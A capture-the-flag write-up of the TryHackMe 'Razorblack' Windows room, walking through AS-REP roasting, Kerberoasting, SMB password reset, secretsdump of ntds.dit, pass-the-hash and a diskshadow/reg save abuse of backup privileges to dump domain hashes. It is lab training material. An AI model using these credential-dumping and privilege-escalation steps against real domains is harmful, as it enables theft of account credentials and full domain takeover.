Home TryHackMe Writeup - Razorblack
Post
Cancel

TryHackMe Writeup - Razorblack

Razorblack is a medium Windows room with focus on SMB and basic Active Directory attacks. First, it was required to obtain a list of member names (fullnames) via an exposed NFS. This member list was then used to create a list with possible usernames. We were then able to conduct an AS-REP Roasting attack using these potential usernames. The result was promising. We actually found a vulnerable user. Once we had the as-rep, we were able to crack the user’s password. These credentials were then used to further enumerate the SMB shares, in which we could find a ntds.dit and a system file. These files helped us to recover further user hashes. Moreover, we also conducted a Kerberoasting attack, which finally gave us access to the system as a somewhat privileged user. During the enumeration, we then found that this user was also able to create backups as he/she was part of the Backup Operators group and thus had SeBackupPrivileges. These privileges were exploited by creating a backup of the whole system from which we were then able to extract the ntds.dit and system file. Using these files, we were able to obtain the Administrator hash and thus gain full access to the system.

Note: The target machine stopped responding several times during the assessment. Therefore, the IP addresses in the report might change from time to time, even though we are always looking at the same machine.

Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
rustscan --ulimit 5000 razorblack.thm -- sV -sC -oN nmap_scan

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2022-06-19 09:25:07Z) 
111/tcp   open  rpcbind       syn-ack 2-4 (RPC #100000)
| rpcinfo:                                         
|   program version    port/proto  service          
|   100000  2,3,4        111/tcp   rpcbind         
|   100000  2,3,4        111/tcp6  rpcbind         
|   100000  2,3,4        111/udp   rpcbind         
|   100000  2,3,4        111/udp6  rpcbind      
|   100003  2,3         2049/udp   nfs           
|   100003  2,3         2049/udp6  nfs         
|   100003  2,3,4       2049/tcp   nfs         
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd 
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd 
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status 
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn            
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack 
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0 
636/tcp   open  tcpwrapped    syn-ack
2049/tcp  open  mountd        syn-ack 1-3 (RPC #100005)
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services                                                                                                                         
| ssl-cert: Subject: commonName=HAVEN-DC.raz0rblack.thm 
| Issuer: commonName=HAVEN-DC.raz0rblack.thm 
| Public Key type: rsa 
| Public Key bits: 2048                                           
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack Microsoft Windows RPC
49692/tcp open  msrpc         syn-ack Microsoft Windows RPC
49703/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Looking at the output of the nmap port scan, we can definitely confirm that this is some kind of Domain Controller. Let’s proceed with the enumeration of the exposed services.

Enumeration Port 111 - RPCbind

In the nmap output, we see that RPC exposes several other services including a nfs. This means, there might be a file system that we are able to mount. We can use showmount to check for existing shares.

1
2
3
4
┌──(kali㉿kali)-[~/THM/rooms/razorblack]
└─$ showmount -e 10.10.218.116
Export list for 10.10.218.116:
/users (everyone)

And indeed! We find a share called /users. Next, we can simply mount that file system to our local machine and access it:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/THM/rooms/razorblack]
└─$ sudo mount 10.10.218.116:/users /mnt/users

┌──(kali㉿kali)-[~/THM/rooms/razorblack]
└─$ sudo ls -la /mnt/users
-rwx------ 1 nobody 4294967294 9861 Feb 25  2021 employee_status.xlsx
-rwx------ 1 nobody 4294967294   80 Feb 25  2021 sbradley.txt             <- User FLAG

There, we find two files. One file called sbradley.txt including a user flag. The other file is called employee_status.xlsx. This file contains a list of members for the Haven Secret Hacker's Club. What’s interesting is, that there is a member called steven bradley, which matches the name of the user flag. This gives an idea of how the naming convention in the domain might look like.

AS-REP Roasting

Using this naming convention and the found full names of the members, we can create a list of possible usernames:

1
2
3
4
5
6
7
8
9
10
11
12
dport
iroyce
tvidal
aedwards
cingram
ncassidy
rzaydan
lvetrova
rdelgado
sbradley
twilliams
clin

Next, we can use these usernames to conduct an AS-REP Roasting attack. This means, we check for usernames that have pre-authentication disabled. To test for that, we us Impacket's GetNPUsers.py:

Perfect! We got a hit. Requests using the username twilliams require no pre-authentication! We can now proceed with cracking the user’s password offline using hashcat:

There we go. We got our first valid credentials: twilliams:roastpotatoes

Enumerating SMB

Using these credentials, we can now try to enumerate the exposed SMB shares. However, we only have access to the IPC$, NETLOGON and SYSVOL shares. As we are already in possession of usernames, we dont have to conduct a RID cycling attack via the IPC$ share. Moreover, the NETLOGON and SYSVOL shares seem to be empty. So nothing interesting found in these shares.

The next step is to test if any of the users we found can access the SMB shares (using either no password or the password we found for the user twilliams). For that we use the tool crackmapexec:

The output is rather interesting. While we cannot use the found credentials for any other user nor can any other user access the shares without password, we see that the user sbradley is asked to change its password as the old one has expired:

1
raz0rblack.thm\sbradley:roastpotatoes STATUS_PASSWORD_MUST_CHANGE

As we are nice people, we can quickly do that password reset for him :)

1
2
3
4
5
6
┌──(kali㉿kali)-[~/THM/rooms/razorblack]
└─$ smbpasswd -r 10.10.218.116 -U 'sbradley'        
Old SMB password: roastpotatoes
New SMB password: babbadeckl
Retype new SMB password: babbadeckl
Password changed for user sbradley

Now, we can try to enumerate the SMB shares with the new credentials for the user sbradley - we now have access to the trash share.

In there we find several files:

Let’s download all of them and have a look at them locally:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
└─$ cat chat_log_20210222143423.txt                                              
sbradley> Hey Administrator our machine has the newly disclosed vulnerability for Windows Server 2019.

Administrator> What vulnerability??

sbradley> That new CVE-2020-1472 which is called ZeroLogon has released a new PoC.

Administrator> I have given you the last warning. If you exploit this on this Domain Controller as you did previously on our old Ubuntu server with dirtycow, I swear I will kill your WinRM-Access.

sbradley> Hey you won't believe what I am seeing.

Administrator> Now, don't say that you ran the exploit.

sbradley> Yeah, The exploit works great it needs nothing like credentials. Just give it IP and domain name and it resets the Administrator pass to an empty hash.

sbradley> I also used some tools to extract ntds. dit and SYSTEM.hive and transferred it into my box. I love running secretsdump.py on those files and dumped the hash.

Administrator> I am feeling like a new cron has been issued in my body named heart attack which will be executed within the next minute.

Administrator> But, Before I die I will kill your WinRM access..........

sbradley> I have made an encrypted zip containing the ntds.dit and the SYSTEM.hive and uploaded the zip inside the trash share.
sbradley> Hey Administrator are you there ...
sbradley> Administrator .....

The administrator died after this incident.

Press F to pay respects

Investigating the ZIP file

Great. So sbradley has apparently exploited the system and stored the SYSTEM.hive and ntds.dit files in the uploaded experiment_gone_wrong.zip. Unfortunately, that zip file is protected by a password. If we can crack it, we can get access to the two mentioned files which ultimately gives us access to all password hashes on the system.

Let’s use john to crack the password for the zip:

Quicker than expected, but we got the password! We can now open the zip and use the included system.hive and ntds file to retrieve the password hashes (ATTENTION: the output is huge, so you better save it in a file)

1
secretsdump.py -ntds ntds.dit -system system.hive LOCAL > hashes.txt

Identifying Ljudmila’s Hash

The task asks us to identify Ljudmila’s (user: lvetrova) hash. This is a rather simple task, as we do have access to all ntds hashes. We simply have to bring them into a decent format (excerpt of the file - used vim macros to extract the NTLM hash of ever entry in the ntds file):

1
2
3
4
5
6
7
8
....
d1612a4cc10d4806096bb1324fd0d049
2fefe62d6a2957b228c173a99844ec00
5a57cffe3808c7845fac499ce2fa3e00
c076e088accc4599469f5e3340e6e971
26a9502bad726817e1302069be8c10db
8f2c62b4457e8da29fab7d16bb132740
...

We can then use that list in combination with crackmapexec to determine the matching hash for the user lvetrova.

1
2
3
4
5
6
7
8
9
10
11
12
└─$ crackmapexec smb 10.10.163.118 -u lvetrova -H ntds_hashes 
SMB         10.10.163.118   445    HAVEN-DC         [*] Windows 10.0 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False) 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:4bb97f19c29f793db65195781b926486 STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:eb3272d9e1ce9055be9487a6f6787dd1 STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:42263cad4fc3f45816c340e684e2592a STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:7b8b14a73d8a45249de2f5b0c225d515 STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:081af9630677a387f6f0a9bb17852602 STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:c184a72ed800899bc1ff633778a89b5e STATUS_LOGON_FAILURE 
SMB         10.10.163.118   445    HAVEN-DC         [+] raz0rblack.thm\lvetrova:f220d3988deb3f516c73f40ee16c431d

There we go! We got the hash! We can now use that hash to authenticate as that user using evil-winrm:

Kerberoasting

The next task is to retrieve Xyan1d3’s password. As this username is not part of our current user list, my first assumption was, that this might be a yet undiscovered service user. Since we’ve already obtained valid user credentials, we can use these to request Kerberos Tickets for existing services. We can do that by using Impackets' GetUserSPNs.py:

As expected! Xyan1d3 is a service user and we got its hash. So let’s attempt to crack it using hashcat:

Wonderful! Another weak password: xyan1d3:cyanide9amine5628

Initial Foothold

To get access to the system, we can now use evil-winrm to log in to the system as xyan1d3.

The password/flag can be obtained as follows:

1
2
$creds = Import-Clixml -path xyan1d3.xml
$creds.GetNetworkCredential().password

Privilege Escalation

After doing the standard windows enumeration, we find something interesting in the whoami /all output.

This looks odd. These privileges are not the common privileges that I’ve encountered on previous machines. A quick google search reveals, that these privileges can be used to escalate privileges. So let’s do that. First, we create a txt file with the following content:

1
2
3
4
5
6
7
8
9
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

Next, we use the builtin shadowcopy tool to create a backup. The created txt file is our config file for the command. This will create a backup of the whole C: disk and save it in the E: disk.

We can then extract the ntds file from the E: disk and store it in a temp directory (use robocopy /b E:\windows\ntds . ntds.dit). There, we can also create the system file using reg save hklm\system C:\temp_babbadeckl\system. The next step is to transfer both files to the attacker machine. There, we can then use Impacket's secretsdump.py to recover the hashes (including the hash of the Administrator).

Finally, we use evil-winrm in combination with the Administrator’s hash to log in to the server. The last step is to retrieve the root flag as we’ve previously done it with the other user accounts:

Huh?! Why does it not work? Let’s take a look at the file:

1
2
3
4
5
6
7
8
9
10
11
12
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Administrator</S>
      <SS N="Password">44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a</SS>
  </Obj>
</Objs>

Ahhh … the author of the room tried to trick us. This is not the encrypted password but clearly a hex string. Let’s copy and decode it:

There we go, we got the root flag :)

This post is licensed under CC BY 4.0 by the author.